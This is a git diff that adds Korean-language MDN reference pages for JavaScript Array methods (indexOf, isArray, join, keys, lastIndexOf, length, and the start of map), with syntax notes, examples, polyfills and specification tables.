diff --git a/files/ko/web/javascript/reference/global_objects/array/indexof/index.html b/files/ko/web/javascript/reference/global_objects/array/indexof/index.html
new file mode 100644
index 0000000000..9748918d5a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/indexof/index.html
@@ -0,0 +1,196 @@
+---
+title: Array.prototype.indexOf()
+slug: Web/JavaScript/Reference/Global_Objects/Array/indexOf
+tags:
+ - Array
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/indexOf
+---
+<div>{{JSRef}}</div>
+
+<p><code>indexOf()</code> 메서드는 배열에서 지정된 요소를 찾을 수 있는 첫 번째 인덱스를 반환하고 존재하지 않으면 -1을 반환합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 문자열은 {{jsxref("String.prototype.indexOf()")}}를 참고하세요.</p>
+</div>
+
+<p>{{EmbedInteractiveExample("pages/js/array-indexof.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.indexOf(<var>searchElement[, fromIndex]</var>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>searchElement</code></dt>
+ <dd>배열에서 찾을 요소입니다.</dd>
+ <dt><code>fromIndex</code> {{optional_inline}}</dt>
+ <dd>검색을 시작할 색인입니다. 인덱스가 배열의 길이보다 크거나 같은 경우 -1이 반환되므로 배열이 검색되지 않습니다. 제공된 색인 값이 음수이면 배열 끝에서부터의 오프셋 값으로 사용됩니다. 참고 : 제공된 색인이 음수이면 배열은 여전히 앞에서 뒤로 검색됩니다. 계산 된 인덱스가 0보다 작 으면 전체 배열이 검색됩니다. 기본값 : 0 (전체 배열 검색).</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>배열 내의 요소의 최초의 인덱스. 발견되지 않으면 -1.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>indexOf()</code>는 엄격한 동등성 (<code>===</code> 또는 triple-equals 연산자에서 사용하는 것과 같은 메서드)을 사용하여 검색 요소를 <code>Array</code>의 요소와 비교합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="indexOf_사용하기"><code>indexOf()</code> 사용하기</h3>
+
+<p>다음 예제에서는 indexOf ()를 사용하여 배열의 값을 찾습니다.</p>
+
+<pre class="brush: js">var array = [2, 9, 9];
+array.indexOf(2); // 0
+array.indexOf(7); // -1
+array.indexOf(9, 2); // 2
+array.indexOf(2, -1); // -1
+array.indexOf(2, -3); // 0
+</pre>
+
+<h3 id="요소의_모든_항목_찾기">요소의 모든 항목 찾기</h3>
+
+<pre class="brush: js">var indices = [];
+var array = ['a', 'b', 'a', 'c', 'a', 'd'];
+var element = 'a';
+var idx = array.indexOf(element);
+while (idx != -1) {
+ indices.push(idx);
+ idx = array.indexOf(element, idx + 1);
+}
+console.log(indices);
+// [0, 2, 4]
+</pre>
+
+<h3 id="요소가_배열에_존재하는지_확인하고_배열을_업데이트">요소가 배열에 존재하는지 확인하고 배열을 업데이트</h3>
+
+<pre class="brush: js">function updateVegetablesCollection (veggies, veggie) {
+ if (veggies.indexOf(veggie) === -1) {
+ veggies.push(veggie);
+ console.log('새로운 veggies 컬렉션 : ' + veggies);
+ } else if (veggies.indexOf(veggie) &gt; -1) {
+ console.log(veggie + ' 은 이미 veggies 컬렉션에 존재합니다.');
+ }
+}
+
+var veggies = ['potato', 'tomato', 'chillies', 'green-pepper'];
+
+updateVegetablesCollection(veggies, 'spinach');
+// 새로운 veggies 컬렉션 : potato, tomato, chillies, green-pepper, spinach
+updateVegetablesCollection(veggies, 'spinach');
+// spinach 은 이미 veggies 컬렉션에 존재합니다.
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js">// ECMA-262, 제 5 판, 15.4.4.14의 생산 단계
+// 참조 : http://es5.github.io/#x15.4.4.14
+if (!Array.prototype.indexOf) {
+ Array.prototype.indexOf = function(searchElement, fromIndex) {
+
+ var k;
+
+ // 1. 이 값을 인수로 전달하는 ToObject를 호출 한 결과를
+  // o라고합니다.
+ if (this == null) {
+ throw new TypeError('"this" is null or not defined');
+ }
+
+ var o = Object(this);
+
+ // 2. lenValue를 Get 함수를 호출 한 결과로 둡니다.
+     // 인수가 "length"인 o의 내부 메소드.
+     // 3. len을 ToUint32 (lenValue)로 지정합니다.
+ var len = o.length &gt;&gt;&gt; 0;
+
+ // 4. len이 0이면 -1을 반환합니다.
+ if (len === 0) {
+ return -1;
+ }
+
+ // 5.Index에서 인수가 전달 된 경우 n을
+    // ToInteger (fromIndex); 그렇지 않으면 n은 0이됩니다.
+ var n = fromIndex | 0;
+
+ // 6. If n &gt;= len, return -1.
+ if (n &gt;= len) {
+ return -1;
+ }
+
+ // 7. n&gt; = 0 인 경우 k를 n이라고 합니다.
+   // 8. 그렇지 않으면 n &lt;0, k는 len - abs (n)이됩니다.
+   // k가 0보다 작은 경우 k를 0으로 만듭니다.
+ k = Math.max(n &gt;= 0 ? n : len - Math.abs(n), 0);
+
+ // 9. k &lt;len 인 동안 반복한다.
+ while (k &lt; len) {
+ // a. Pk를 ToString (k)이라고합시다.
+       // 이것은 in 연산자의 LHS 피연산자에 대해 암시 적입니다.
+       // b. kPresent를 호출 한 결과라고합시다.
+       // Hasproperty 인수에 Pk가있는 o의 내부 메소드.
+       //이 단계는 c와 결합 될 수 있습니다.
+       // c. kPresent가 참이면
+       // i. elementK를 Get을 호출 한 결과로합시다.
+       // ToString (k) 인수를 가진 o의 내부 메쏘드.
+       // ii. 적용한 결과와 동일하게 봅시다.
+       // 엄격한 평등 비교 알고리즘
+       // searchElement 및 elementK.
+       // iii. 동일하면 k를 반환합니다.
+ if (k in o &amp;&amp; o[k] === searchElement) {
+ return k;
+ }
+ k++;
+ }
+ return -1;
+ };
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.4.4.14', 'Array.prototype.indexOf')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.6.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+<p>{{Compat("javascript.builtins.Array.indexOf")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/isarray/index.html b/files/ko/web/javascript/reference/global_objects/array/isarray/index.html
new file mode 100644
index 0000000000..0a3a074a3d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/isarray/index.html
@@ -0,0 +1,131 @@
+---
+title: Array.isArray()
+slug: Web/JavaScript/Reference/Global_Objects/Array/isArray
+tags:
+ - Array
+ - ECMAScript 5
+ - JavaScript
+ - Method
+ - Reference
+ - polyfill
+ - 자바스크립트
+ - 폴리필
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/isArray
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Array.isArray()</strong></code> 메서드는 인자가 {{jsxref("Array")}}인지 판별합니다.</p>
+
+<pre><code>Array.isArray([1, 2, 3]); // true
+Array.isArray({foo: 123}); // false
+Array.isArray('foobar'); // false
+Array.isArray(undefined); // false</code>
+</pre>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>Array.isArray(<var>obj</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>검사할 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>객체가 {{jsxref("Array")}}라면 <code>true</code>, 아니라면 <code>false</code>.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>객체가 {{jsxref("Array")}}라면 <code>true</code>를 반환하고, 아니라면 <code>false</code>를 반환합니다.</p>
+
+<p>자세한 정보는 <a href="http://web.mit.edu/jwalden/www/isArray.html">“Determining with absolute accuracy whether or not a JavaScript object is an array”</a>(자바스크립트 객체가 배열인지 정확히 판별하는 방법) 문서를 참조하세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre><code>// 모두 true 반환
+Array.isArray([]);
+Array.isArray([1]);
+Array.isArray(new Array());
+Array.isArray(new Array('a', 'b', 'c', 'd'));
+Array.isArray(new Array(3));
+// Array.prototype은 스스로도 배열입니다
+Array.isArray(Array.prototype);
+
+// 모두 false 반환
+Array.isArray();
+Array.isArray({});
+Array.isArray(null);
+Array.isArray(undefined);
+Array.isArray(17);
+Array.isArray('Array');
+Array.isArray(true);
+Array.isArray(false);
+Array.isArray({ __proto__: Array.prototype });</code></pre>
+
+<h3 id="instanceof_vs_isArray"><code>instanceof</code> vs <code>isArray</code></h3>
+
+<p><code>Array</code> 객체를 판별할 때, <code>Array.isArray</code>는 <code>iframe</code>을 통해서도 작동하기 때문에 <code>instanceof</code> 보다 적합합니다.</p>
+
+<pre><code>var iframe = document.createElement('iframe');
+document.body.appendChild(iframe);
+xArray = window.frames[window.frames.length-1].Array;
+var arr = new xArray(1,2,3); // [1,2,3]
+
+// 올바른 Array 판별
+Array.isArray(arr); // true
+// iframe을 통해서 작동하지 않기 때문에 올바르지 않은 방법
+arr instanceof Array; // false</code>
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>아래 코드를 실행하면 지원하지 않는 환경에서도 <code>Array.isArray()</code>를 사용할 수 있습니다.</p>
+
+<pre class="brush: js">if (!Array.isArray) {
+ Array.isArray = function(arg) {
+ return Object.prototype.toString.call(arg) === '[object Array]';
+ };
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.4.3.2', 'Array.isArray')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>초안. 자바스크립트 1.8.5 에 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.isarray', 'Array.isArray')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>
+ <p> </p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.isarray', 'Array.isArray')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.isArray")}}</div>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/join/index.html b/files/ko/web/javascript/reference/global_objects/array/join/index.html
new file mode 100644
index 0000000000..7a78c568ab
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/join/index.html
@@ -0,0 +1,91 @@
+---
+title: Array.prototype.join()
+slug: Web/JavaScript/Reference/Global_Objects/Array/join
+tags:
+ - Array
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/join
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>join()</strong></code> 메서드는 배열의 모든 요소를 연결해 하나의 문자열로 만듭니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-join.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.join([<var>separator</var>])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>separator</code> {{optional_inline}}</dt>
+ <dd>배열의 각 요소를 구분할 문자열을 지정합니다. 이 구분자는 필요한 경우 문자열로 변환됩니다. 생략하면 배열의 요소들이 쉼표로 구분됩니다. <code>separator</code>가 빈 문자열이면 모든 요소들이 사이에 아무 문자도 없이 연결됩니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>배열의 모든 요소들을 연결한 하나의 문자열을 반환합니다. 만약 <code><em>arr</em>.length</code> 가 <code>0</code>이라면, 빈 문자열을 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>모든 배열 요소가 문자열로 변환된 다음 하나의 문자열로 연결됩니다.</p>
+
+<div class="blockIndicator warning">
+<p>요소가 <code>undefined</code> 또는 <code>null</code>이면 빈 문자열로 변환합니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="네_가지_다른_방법으로_배열_연결하기">네 가지 다른 방법으로 배열 연결하기</h3>
+
+<p>다음 예제에서는 3개의 요소를 가진 배열 <code>a</code>를 만들고, 기본 구분자, 쉼표와 공백, 더하기 기호, 빈 문자열의 네 가지 구분자를 사용해 배열을 연결합니다.</p>
+
+<pre class="brush: js">var a = ['바람', '비', '불'];
+var myVar1 = a.join(); // myVar1에 '바람,비,불'을 대입
+var myVar2 = a.join(', '); // myVar2에 '바람, 비, 불'을 대입
+var myVar3 = a.join(' + '); // myVar3에 '바람 + 비 + 불'을 대입
+var myVar4 = a.join(''); // myVar4에 '바람비불'을 대입
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">표준</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>최초 정의.  JavaScript 1.1에 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.4.4.5', 'Array.prototype.join')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.join', 'Array.prototype.join')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.join")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("Array.prototype.toString()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.join()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/keys/index.html b/files/ko/web/javascript/reference/global_objects/array/keys/index.html
new file mode 100644
index 0000000000..4afb826a3e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/keys/index.html
@@ -0,0 +1,69 @@
+---
+title: Array.prototype.keys()
+slug: Web/JavaScript/Reference/Global_Objects/Array/keys
+tags:
+ - Array
+ - ECMAScript 2015
+ - Iterator
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/keys
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>keys()</strong></code> 메서드는 배열의 각 인덱스를 키 값으로 가지는 새로운 <code><strong>Array Iterator</strong></code> 객체를 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-keys.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.keys()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>새로운 {{jsxref("Array")}} 반복기 객체.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="키_반복기는_빈_인덱스를_무시하지_않음">키 반복기는 빈 인덱스를 무시하지 않음</h3>
+
+<pre><code>var arr = ['a', , 'c'];
+var sparseKeys = Object.keys(arr);
+var denseKeys = [...arr.keys()];
+console.log(sparseKeys); // ['0', '2']
+console.log(denseKeys); // [0, 1, 2]</code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.keys', 'Array.prototype.keys')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.keys', 'Array.prototype.keys')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.keys")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+ <li>{{jsxref("Array.prototype.entries()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/lastindexof/index.html b/files/ko/web/javascript/reference/global_objects/array/lastindexof/index.html
new file mode 100644
index 0000000000..7e1519ae78
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/lastindexof/index.html
@@ -0,0 +1,103 @@
+---
+title: Array.prototype.lastIndexOf()
+slug: Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf
+tags:
+ - Array
+ - ECMAScript 5
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>lastIndexOf()</code></strong> 메서드는 배열에서 주어진 값을 발견할 수 있는 마지막 인덱스를 반환하고, 요소가 존재하지 않으면 -1을 반환합니다. 배열 탐색은 <code>fromIndex</code>에서 시작하여 뒤로 진행합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-lastindexof.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.lastIndexOf(<var>searchElement[</var>, <var>fromIndex]</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>searchElement</code></dt>
+ <dd>배열에서 찾을 요소.</dd>
+ <dt><code>fromIndex</code> {{optional_inline}}</dt>
+ <dd>역순으로 검색을 시작할 인덱스. 배열의 길이에서 1을 뺀 값(<code>arr.length - 1</code>)이 기본값이므로 지정하지 않을 경우 전체 배열을 검색합니다. 주어진 값이 배열의 길이 이상이면 전체 배열을 검색합니다. 값이 음수인 경우, 배열의 마지막부터 시작하는 인덱스로 처리합니다. 다만, 음수를 제공하더라도 검색 순서는 뒤에서 앞입니다. 위의 모든 절차를 거친 최종 계산값이 0 미만인 경우, <code>lastIndexOf()</code>는 항상 -1을 반환합니다. 즉, 배열을 탐색하지 않습니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 값과 일치하는 마지막 요소의 인덱스, 없으면 -1.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>lastIndexOf</code>는 일치 연산(<code>===</code> 연산자와 동일)을 사용해 <code>searchElement</code>와 각 요소를 비교합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="lastIndexOf_사용하기"><code>lastIndexOf</code> 사용하기</h3>
+
+<p>다음 예제에서는 <code>lastIndexOf</code>를 사용하여 배열의 값을 찾습니다.</p>
+
+<pre class="brush: js">var array = [2, 5, 9, 2];
+array.lastIndexOf(2); // 3
+array.lastIndexOf(7); // -1
+array.lastIndexOf(2, 3); // 3
+array.lastIndexOf(2, 2); // 0
+array.lastIndexOf(2, -2); // 0
+array.lastIndexOf(2, -1); // 3
+</pre>
+
+<h3 id="요소의_모든_항목_찾기">요소의 모든 항목 찾기</h3>
+
+<p>다음 예제에서는 <code>lastIndexOf</code>를 사용하여 {{jsxref("Array.prototype.push", "push")}}를 사용하여 지정된 배열의 요소 색인을 모두 찾아서 다른 배열에 추가합니다.</p>
+
+<pre class="brush: js">var indices = [];
+var array = ['a', 'b', 'a', 'c', 'a', 'd'];
+var element = 'a';
+var idx = array.lastIndexOf(element);
+while (idx != -1) {
+ indices.push(idx);
+ idx = (idx &gt; 0 ? array.lastIndexOf(element, idx - 1) : -1);
+}
+
+console.log(indices);
+// [4, 2, 0]
+</pre>
+
+<p>배열의 첫 번째 요소 인 경우 요소가 fromIndex 매개 변수와 관계없이 항상 발견되므로 idx == 0 사례를 여기에서 개별적으로 처리해야합니다. 이는 {{jsxref ( "Array.prototype.indexOf", "indexOf")}} 메소드와 다릅니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.lastindexof', 'Array.prototype.lastIndexOf')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.lastIndexOf")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.lastIndexOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/length/index.html b/files/ko/web/javascript/reference/global_objects/array/length/index.html
new file mode 100644
index 0000000000..b241e88045
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/length/index.html
@@ -0,0 +1,135 @@
+---
+title: Array.length
+slug: Web/JavaScript/Reference/Global_Objects/Array/length
+tags:
+ - Array
+ - JavaScript
+ - Property
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/length
+---
+<div>{{JSRef}}</div>
+
+<p><code>Array</code> 인스턴스의 <code><strong>length</strong></code> 속성은 배열의 길이를 반환합니다. 반환값은 부호 없는 32비트 정수형이며, 배열의 최대 인덱스보다 항상 큽니다. <strong><code>length</code></strong> 속성에 값을 설정할 경우 배열의 길이를 변경합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-length.html")}}</div>
+
+
+
+<h2 id="설명">설명</h2>
+
+<p><code>length</code> 속성의 값은 양의 정수이며 2<sup>32</sup> 미만의 값을 가집니다.</p>
+
+<pre class="brush: js line-numbers language-js">var namelistA = new Array(4294967296); // 2의 32제곱 = 4294967296
+var namelistC = new Array(-100) // 음수
+
+console.log(namelistA.length); // RangeError: Invalid array length
+console.log(namelistC.length); // RangeError: Invalid array length
+
+var namelistB = [];
+namelistB.length = Math.pow(2,32)-1; // 길이를 2의 32제곱 미만으로 설정
+console.log(namelistB.length);
+
+// 4294967295</pre>
+
+<p>아무 때나 <code>length</code> 속성에 값을 설정해 배열을 절단할 수 있습니다. <code>length</code> 속성으로 배열의 길이를 늘리면 실제 원소의 수가 증가합니다. 예를 들어 길이가 2인 배열의 <code>length</code>를 3으로 설정한다면 마지막에 <code>undefined</code>가 추가돼 총 3개의 요소를 갖게 됩니다.</p>
+
+<pre class="brush: js line-numbers language-js">var arr = [1, 2, 3];
+printEntries(arr);
+
+arr.length = 5; // set array length to 5 while currently 3.
+printEntries(arr);
+
+function printEntries(arr) {
+ var length = arr.length;
+ for (var i = 0; i &lt; length; i++) {
+ console.log(arr[i]);
+ }
+ console.log('=== printed ===');
+}
+
+// 1
+// 2
+// 3
+// === printed ===
+// 1
+// 2
+// 3
+// undefined
+// undefined
+// === printed ===
+</pre>
+
+<p>그러나 <code>length</code> 속성의 값이 꼭 배열에 정의된 원소의 수를 나타내진 않습니다. <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array#length_%EC%99%80_%EC%88%AB%EC%9E%90%ED%98%95_%EC%86%8D%EC%84%B1%EC%9D%98_%EA%B4%80%EA%B3%84"><code>length</code>와 숫자형 속성의 관계</a>를 참고하세요.</p>
+
+<p>{{js_property_attributes(1, 0, 0)}}</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열_순회">배열 순회</h3>
+
+<p>다음 예제는 <code>numbers</code> 배열을 length 속성의 크기만큼 순회합니다. 각 원소의 값은 두 배가 됩니다.</p>
+
+<pre class="brush: js line-numbers language-js">var numbers = [1, 2, 3, 4, 5];
+var length = numbers.length;
+for (var i = 0; i &lt; length; i++) {
+ numbers[i] *= 2;
+}
+// numbers is now [2, 4, 6, 8, 10]
+</pre>
+
+<h3 id="배열_단축">배열 단축</h3>
+
+<p>다음 예제는 <code>numbers</code> 배열의 현재 길이가 3보다 클 경우 3으로 줄입니다.</p>
+
+<pre class="brush: js line-numbers language-js">var numbers = [1, 2, 3, 4, 5];
+
+if (numbers.length &gt; 3) {
+ numbers.length = 3;
+}
+
+console.log(numbers); // [1, 2, 3]
+console.log(numbers.length); // 3
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.4.5.2', 'Array.length')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-properties-of-array-instances-length', 'Array.length')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-properties-of-array-instances-length', 'Array.length')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.length")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/map/index.html b/files/ko/web/javascript/reference/global_objects/array/map/index.html
new file mode 100644
index 0000000000..b3f494a8e3
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/map/index.html
@@ -0,0 +1,293 @@
+---
+title: Array.prototype.map()
+slug: Web/JavaScript/Reference/Global_Objects/Array/map
+tags:
+ - Array
+ - ECMAScript 5
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/map
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>map()</strong></code> 메서드는 배열 내의 모든 요소 각각에 대하여 주어진 함수를 호출한 결과를 모아 새로운 배열을 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-map.html")}}</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.map(<var>callback(currentValue</var>[, index[, array]])[, <var>thisArg</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>새로운 배열 요소를 생성하는 함수. 다음 세 가지 인수를 가집니다.</dd>
+ <dd>
+ <dl>
+ <dt><code>currentValue</code></dt>
+ <dd>처리할 현재 요소.</dd>
+ <dt><code>index</code> {{optional_inline}}</dt>
+ <dd>처리할 현재 요소의 인덱스.</dd>
+ <dt><code>array</code> {{optional_inline}}</dt>
+ <dd><code>map()</code>을 호출한 배열.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code> {{optional_inline}}</dt>
+ <dd><code>callback</code>을 실행할 때 <code>this</code>로 사용되는 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>배열의 각 요소에 대해 실행한 <code>callback</code>의 결과를 모은 새로운 배열.</p>
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p><code>map</code>은 <code>callback</code> 함수를 <strong>각각의 요소에 대해 한번씩 </strong>순서대로 불러 그 함수의 반환값으로 새로운 배열을 만듭니다. <code>callback</code> 함수는 ({{jsxref("undefined")}}도 포함해서) 배열 값이 들어있는 인덱스에 대해서만 호출됩니다. 즉, 값이 삭제되거나 아직 값이 할당/정의되지 않은 인덱스에 대해서는 호출되지 않습니다.</p>
+
+<p><code>callback</code> 함수는 호출될 때 대상 요소의 값, 그 요소의 인덱스, 그리고 <code>map</code>을 호출한 원본 배열<span style="font-family: courier,andale mono,monospace;"> </span>3개의 인수를 전달받습니다.</p>
+
+<p><code>thisArg</code> 매개변수가 <code>map</code>에 전달된 경우 <code>callback</code> 함수의 <code>this</code>값으로 사용됩니다. 그 외의 경우 {{jsxref("undefined")}}값이 <code>this</code> 값으로 사용됩니다.<font face="Consolas, Liberation Mono, Courier, monospace"> </font><code>callback</code> 함수에서 최종적으로 볼 수 있는 <code>this</code> 값은  <a href="/ko/docs/Web/JavaScript/Reference/Operators/this">함수 내 <code>this</code>를 정하는 일반적인 규칙</a>에 따라 결정됩니다.</p>
+
